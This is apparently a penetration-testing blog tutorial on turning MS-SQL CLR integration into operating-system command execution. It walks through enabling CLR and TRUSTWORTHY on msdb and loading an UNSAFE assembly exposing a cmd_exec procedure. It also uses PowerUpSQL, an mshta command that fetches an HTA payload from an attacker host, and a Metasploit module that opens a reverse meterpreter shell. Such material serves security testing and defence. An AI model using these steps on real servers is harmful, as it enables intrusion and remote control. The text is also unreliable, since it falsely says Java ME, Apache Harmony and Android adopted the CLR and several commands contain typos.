In this article, we will learn all about CLR assembly functionality provided by Microsoft and how we can exploit it to our potential.
Common Language Runtime is a feature provided by Microsoft as part of their Windows operating systems that allows for executing .NET Framework-compatible software. This runtime environment is responsible for implementing .NET programs, including compiled ASP.NET pages and Mono applications. It is used by .NET Framework and the Windows kernel and has been adopted by other operating systems such as Java ME, Apache Harmony, and Android. It is generally considered a more stable and fully-featured alternative to the Java Virtual Machine (JVM). It also manages the code execution environment for Microsoft operating systems.
These managed codes are compiled and are further used by units. These units are called assembly. These assemblies contain a load full of DLL or EXE files. EXE files can execute on their own, whereas DLL files need to be hosted in an application. If managed correctly, these DLL files can be enforced by the MS-SQL server as well.
The CLR receives compiled applications or assemblies from different processes via assembly loading, then executes them in an isolated execution environment to ensure their security and integrity. With the help of CLR, you can write stored procedures, user-defined functions, user-defined types, etc.
Trustworthy database property helps to determine that whether the SQL server relies on a database or not. When working with CRL, there will be many instances where special commands or procedures deem it vital to have particular privileges. It requires such a license so that it can protect the database from malicious scenarios. Many properties can be used in windows servers and SQL servers to determine if the database is trusted. The properties must be set accordingly to allow the SQL server to function. One method for doing this is by adding the trust command on both servers.
A drawback of a Trustworthy Property would be that it might take up resources like memory, which could cause performance issues in specific scenarios. For this reason, it’s best not to rely on these types of properties too heavily when developing applications or data models. However, they are helpful when used with other techniques like event subscriptions or agent-based systems under a testing environment where resource consumption doesn’t matter much and performance isn’t essential either.
Enabling CLRIntegration with GUI
To enable the trustworthy feature manually, right-click on the server’s name. A drop-down menu will appear. From the said menu, click on the Facets option as shown in the image below:
Once you click on the Facets option, a Facets dialogue box will open. From this dialogue box, open the Facet drop-down menu and select the Surface Area Configuration option from this drop-down menu as shown in the image below:
After choosing the Surface Area configuration, turn the value of ClrIntegrationEnabled true from false. This value can be changed under Facet properties, as you can see in the image below:
Check and Enable Trustworthy
After enabling CLR, go to the server>Databases>System Databases>msdb. Right-click on msdb. A drop menu will appear. From this menu, choose the Properties option as shown in the image below:
Once you have clicked on the Properties option, a dialogue box will open. From the left tab, choose options. In the right panel, you can see the trustworthy property. Here, you can change its value from false to true to enable it. The similar is shown in the image below:
To enable trustworthy from CLI, open the query window of msdb and type the following query:
ALTER DATABASE [msdb] SET TRUSTWORTHY ON
Executing the above query will enable trustworthy property.
Creating a DLL File
Now that we have understood the use of CLR assembly and trustworthy, along with their relationship with each other. And so, we will now exploit it to our potential. We know that CLR executes DLL files; therefore, we will create a DLL file using visual studio.
To create a DLL using visual studio; open visual studio and select Create a new project option, as shown in the image below:
A new panel will open, and here, select Class Library (.NET framework) and then click on the Next button as shown in the image below:
A new window will open. In that window, give your project a name, location and then click on Create button as shown in the image below:
Following the above steps will create your new project and add the code that will be necessary. The code that we have used can be found here. Now, in the menu bar, click on the Build menu as shown in the image below:
From the Build’s drop-down menu, select the Build Solution option as shown in the image below:
As you can see in the image below, now your DLL file is created as desired. Now that we have our DLL file, we can exploit CLR with the help of this DLL file.
Import CLR DLL into SQL Server through GUI
Let’s put that DLL file to good use. Go to server>Databases>System Databases>msdb>Programmability, and under Programmability, there will be an Assemblies option. Right-click on the said option and select New Assembly from the drop-down menu as shown in the image below:
A dialogue box will open after following the above steps. In the dialogue box, set the Permission set to Unrestricted and give the path of your DLL file and then finally click on the OK button as shown in the image below:
The above steps have created an assembly with your DLL file. You can see it by going to server>Databases>system Databses>msdb>Progammibility>Assemblies>*DLL File*. The same is shown in the image below:
To execute that DLL file, run the following query:
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [shell].[StoredProcedures].[cmd_exec]; GO
With the query above, the DLL file is executed. And now you can run any command as a query:
cmd_exec 'whoami'
As you can see in the image above, the command is executed, and you can see the result of the command in the output panel.
The method we just learned was manual. Let us now learn how we can do the same thing using the command line. But first, we should delete the assembly and procedure to start afresh, and to do so, type:
DROP PROCEDURE cmd_exec DROP ASSEMBLY shell
Import CLR DLL into SQL Server through CLI
We can also exploit CLR using various queries through the command line. Firstly, let access the database by using the following query:
use msdb
Once we have accessed the database, we now need to enable CLR integration and for that type:
EXEC sp_configure 'clr enabled', 1; RECONFIGURE GO
Now to confirm whether CLR integration was enabled with the above command or not, use the following query:
SELECT * FROM sys.configuration WHERE name = 'clr enabled'
And in the image above, you can see that the value of configuration is 1, which means our CLR integration is enabled.
Moving on, we have to enable trustworthy property next. So, for that type:
ALTER DATABASE msdb SET TRUSTWORTHY ON
To check whether our above command was successfully executed or not, use the following query:
select name, is_trustworthy_on from sys.databases
In the above image, you can see that value for trustworthy is 1 of the msdb database. That means the said property is successfully enabled.
We already have a DLL file called shell that we created with the help of visual studio earlier. You can find that file in the temp folder.
Now let’s use this DLL file and create an assembly with the help of the following commands:
CREATE ASSEMBLY shell FROM 'c:\temp\shell.dll' WITH PERMISION_SET = UNSAFE;
Our next step is to create the procedure and we will do so with the help of the following command:
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [shell].[StoredProcedures].[cmd_exec]; GO
Once the above commands are executed successfully, you can then execute any command such as;
cmd_exec 'whoami'
And as you can see in the above image, we have the result of our command.
PowerUpSQL (Manual)
When it comes to exploiting SQL servers, PowerUpSQL is the best third-party tool. This tool will also allow us to exploit CLR through DLL files to our potential. And to do so, use the following set of commands:
powershell powershell -ep bypass cd .\PowerUpSQL-master\ Import-Moduolle .\PowerUpSQL.ps1 Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:\temp -Verbose
The command will create three files for you, i.e., .csc, .dll, and .txt as shown in the image above. Now go to the temp directory and open the txt file with the following command:
type runcmd.txt
Now take the entire content of the said txt file, copy it, and paste it in the SQL query panel as shown in the image below:
After running the code, you will have your result in the output section, as shown in the image above.
PowerUpSQL (Remotely)
Another PowerUpSQL method to retrieve the same result is a remote method. This method is useful as even if the CLRIntegration is disable, it will go ahead and enable it for you. The command for this is as following:
Invoke-SQLOSCmdCLR -Username sa -Password [email protected] -Instance WIN-P83OS778EQK\SQLEXPRESS –Command "whoami" -Verbose
Note: this command is useful if you have the username and password of the database.
You can also see in the result in a grid view by using the following command:
Get-SQLStoredProcedureCLR -Verbose -Instance WIN-P83OS778EQK\SQLEXPRESS -Username sa -Password '[email protected]' | Out-GridView
Metasploit and PowerUpSQL
In this method, we will combine Metasploit and PowerUpSQL tools to put both of them to good use to achieve the desired result. For this open Metasploit and type the following set of commands:
use exploit/windows/misc/hta_server set srvhost *localhost* exploit
The above exploit will generate a URL as shown in the image aove. Copy the said URL and paste it in the following command of PowerUpSQL:
Invoke-SQLOSCmdCLR -Username sa -Password [email protected] -Instance WIN-P83OS778EQK\SQLEXPRESS –Command "mshta.exe http://192.168.1.2:8080/LTCSUUkWrp6q.hta" -Verbose
Once the above command is executed, you will have your meterpreter session to the server as shown in the image below:
Metasploit
Metasploit being the excellent framework that it is, makes all our work simple and easy. If we review, to exploit CLR, we have first to enable CLR integration and then enable trustworthy database property. After that, we create an assembly that executes our DLL file. All these multiple steps are taken care of with a single Metasploit exploit. To use the said exploit, type the following set of commands:
use exploit/windows/mssql/mssql_clr_payload set rhosts n*locahost* set username sa set password [email protected] set payload mwindows/x64/meterpreter/rever_tcp exploit
And as you can see, this payload follows all out multiple steps for us and even gets us the meterpreter session. The only condition for this exploit to work is to know the username and password.
Reference: https://www.netspi.com/blog/technical/adversary-simulation/attacking-sql-server-clr-assemblies/
CLR Integration is prone to vulnerability. And most cases, you will find that trustworthy property is enabled, but if it isn’t, we have learned many methods to allow it to activate in the article. These were all the methods through which one can exploit CLR integration using DLL files as it enables the execution of the DLL files. Such techniques also help to pentest an MS-SQL server.
Author: Yashika Dhir is a Cyber Security Researcher, Penetration Tester, Red Teamer, Purple Team enthusiast. Contact her on Linkedin and Twitter